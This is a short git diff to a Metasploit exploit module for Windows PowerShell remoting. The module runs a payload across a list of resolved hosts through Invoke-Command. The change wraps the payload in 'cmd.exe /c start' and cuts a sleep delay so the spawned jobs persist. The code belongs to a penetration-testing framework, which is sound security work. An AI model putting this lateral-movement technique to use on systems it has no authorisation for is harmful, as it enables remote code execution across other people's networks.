diff --git a/modules/exploits/windows/local/powershell_remoting.rb b/modules/exploits/windows/local/powershell_remoting.rb index 0561e68a84..622cecd1c5 100644 --- a/modules/exploits/windows/local/powershell_remoting.rb +++ b/modules/exploits/windows/local/powershell_remoting.rb @@ -99,7 +99,7 @@ class Metasploit3 < Msf::Exploit::Local $ResultList=@(#{known_hosts}); #{ip_list} foreach($ip in $iplist){$Resultlist += [System.Net.Dns]::GetHostbyAddress($ip).HostName}; -Invoke-Command -AsJob -ComputerName $ResultList -ScriptBlock { #{command} } +Invoke-Command -AsJob -ComputerName $ResultList -ScriptBlock { cmd.exe /c start #{command} } EOF if datastore['SMBUser'] @@ -108,7 +108,7 @@ EOF # If the host process terminates too quickly the jobs will die # before they spawn in a new process. - ps << ";Sleep 60;" + ps << ";Sleep 20;" ps.gsub!("\n","") command = generate_psh_command_line({